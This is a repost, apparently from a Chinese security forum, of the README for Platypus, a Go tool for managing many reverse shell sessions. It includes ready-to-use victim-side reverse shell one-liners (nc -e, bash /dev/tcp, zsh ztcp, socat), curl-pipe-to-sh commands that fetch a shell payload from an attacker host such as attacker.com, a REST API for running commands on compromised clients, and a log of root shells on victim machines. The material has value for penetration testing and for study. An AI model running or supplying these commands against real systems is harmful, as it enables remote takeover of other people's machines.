

## Platypus

A modern multiple reverse shell sessions/clients manager via terminal written in go

### Features

- [x] Multiple service listening port
- [x] Multiple client connections
- [x] RESTful API
- [x] Reverse shell as a service

### Screenshot

```
>> Run 0.0.0.0 8080
2018/10/24 20:29:09 Server running at: [b78fcd6b8c760483b85a2b65ab7dc01b] 0.0.0.0:8080 (0 online clients) (started at: now)
>> Run 0.0.0.0 8081
>> 2018/10/24 20:30:17 Server running at: [0eba675758ec591dd0a9ac3035aa6699] 0.0.0.0:8081 (0 online clients) (started at: now)
>>
2018/10/24 20:30:20 No such command, use `Help` to get more information
>> 2018/10/24 20:30:22 New client [c5794d93696975ec457da9d9e7312713] tcp://192.168.159.129:47246 (connected at: now) [false] Connected
>>
2018/10/24 20:30:23 No such command, use `Help` to get more information
>> 2018/10/24 20:30:25 Not requesting for service
2018/10/24 20:30:30 New client [caeb063159c77c81a606ca556551c45b] tcp://192.168.159.133:1031 (connected at: now) [false] Connected
>>
2018/10/24 20:30:33 No such command, use `Help` to get more information
>> List
>> 2018/10/24 20:30:35 Listing 2 servers
[b78fcd6b8c760483b85a2b65ab7dc01b] 0.0.0.0:8080 (1 online clients) (started at: 1 minute ago)
    [c5794d93696975ec457da9d9e7312713] tcp://192.168.159.129:47246 (connected at: 12 seconds ago) [false]
[0eba675758ec591dd0a9ac3035aa6699] 0.0.0.0:8081 (1 online clients) (started at: 17 seconds ago)
    [caeb063159c77c81a606ca556551c45b] tcp://192.168.159.133:1031 (connected at: 4 seconds ago) [false]
>> Jump c
2018/10/24 20:30:38 The current interactive shell is set to: [c5794d93696975ec457da9d9e7312713] tcp://192.168.159.129:47246 (connected at: 16 seconds ago) [false]
>> Command id
2018/10/24 20:30:40 Execute id on [c5794d93696975ec457da9d9e7312713] tcp://192.168.159.129:47246 (connected at: 18 seconds ago) [false]
2018/10/24 20:30:40 Executing: echo BpLnfgDsc2WD8F2q && id; echo NfHK5a84jjJkwzDk
2018/10/24 20:30:40 17 bytes read from client
2018/10/24 20:30:40 55 bytes read from client
2018/10/24 20:30:40 uid=0(root) gid=0(root) groups=0(root)
2018/10/24 20:30:40 Result: uid=0(root) gid=0(root) groups=0(root)
>> Interact
2018/10/24 20:30:54 Interacting with [c5794d93696975ec457da9d9e7312713] tcp://192.168.159.129:47246 (connected at: 32 seconds ago) [false]
>> Jump c
2018/10/24 20:50:42 The current interactive shell is set to: [c5794d93696975ec457da9d9e7312713] tcp://192.168.159.129:47246 (connected at: 20 minutes ago) [false]
>> Interact
2018/10/24 20:50:43 Interacting with [c5794d93696975ec457da9d9e7312713] tcp://192.168.159.129:47246 (connected at: 20 minutes ago) [false]
id
uid=0(root) gid=0(root) groups=0(root)
whoami
root
uname -a
Linux kali 4.17.0-kali3-amd64 #1 SMP Debian 4.17.17-1kali1 (2018-08-21) x86_64 GNU/Linux
exit
>> Jump ca
2018/10/24 20:50:58 The current interactive shell is set to: [caeb063159c77c81a606ca556551c45b] tcp://192.168.159.133:1031 (connected at: 20 minutes ago) [false]
>> Interact
2018/10/24 20:51:01 Interacting with [caeb063159c77c81a606ca556551c45b] tcp://192.168.159.133:1031 (connected at: 20 minutes ago) [false]
echo %PATH%
echo %PATH%
C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem
C:\>exit
```



### Network Topology

Attack IP: 192.168.1.2

Reverse Shell Service: 0.0.0.0:8080

RESTful Service: 127.0.0.1:9090

Victim IP: 192.168.1.3

## Use Platypus from source code

```
go get github.com/WangYihang/Platypus
cd go/src/github.com/WangYihang/Platypus
go run platypus.go
```

## Use Platypus from release binaries

```
// Download binary from https://github.com/WangYihang/Platypus/releases
# chmod +x ./Platypus_linux_amd64
# ./Platypus_linux_amd64
```

## Victim side

```
nc -e /bin/bash 192.168.1.2 8080
bash -c 'bash -i >/dev/tcp/192.168.1.2/8080 0>&1'
zsh -c 'zmodload zsh/net/tcp && ztcp 192.168.1.2 8080 && zsh >&&$REPLY 2>&&$REPLY 0>&&$REPLY'
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.1.2:8080
```

## Reverse shell as a Service

```
// Platypus is able to multiplexing the reverse shell listening port
// The port 8080 can receive reverse shell client connection
// Also these is a Reverse shell as a service running on this port
```

```
// victim will be redirected to attacker-host attacker-port
// sh -c "$(curl http://host:port/attacker-host/attacker-port)"
# curl http://192.168.1.2:8080/attacker.com/1337
bash -c 'bash -i >/dev/tcp/attacker.com/1337 0>&1'
# sh -c "$(curl http://192.168.1.2:8080/attacker.com/1337)"
```

```
// if the attacker info not specified, it will use host, port as attacker-host attacker-port
// sh -c "$(curl http://host:port/)"
# curl http://192.168.1.2:8080/
curl http://192.168.1.2:8080/192.168.1.2/8080|sh
# sh -c "$(curl http://host:port/)"
```

## RESTful API

GET /client List all online clients

```
# curl 'http://127.0.0.1:9090/client'
{
  "msg": [
    "192.168.1.3:54798"
  ],
  "status": true
}
```

POST /client/:hash execute a command on a specific client

```
# curl -X POST 'http://127.0.0.1:9090/client/0723c3bed0d0240140e10a6ffd36eed4' --data 'cmd=whoami'
{
  "status": true,
  "msg": "root\n",
}
```

### • How to hash?

```
# echo -n "192.168.1.3:54798" | md5sum
0723c3bed0d0240140e10a6ffd36eed4 -
```

点击收藏 | 0 关注 | 1

[上一篇：攻击者是如何攻击持续集成系统Jen...](#) [下一篇：CVE-2018-4338：在MA...](#)

### 1. 0 条回复

- 动动手指，沙发就是你的了！

[登录](#) 后跟帖

先知社区

---

[现在登录](#)

热门节点

---

[技术文章](#)

[社区小黑板](#)

目录

[RSS](#) [关于社区](#) [友情链接](#) [社区小黑板](#)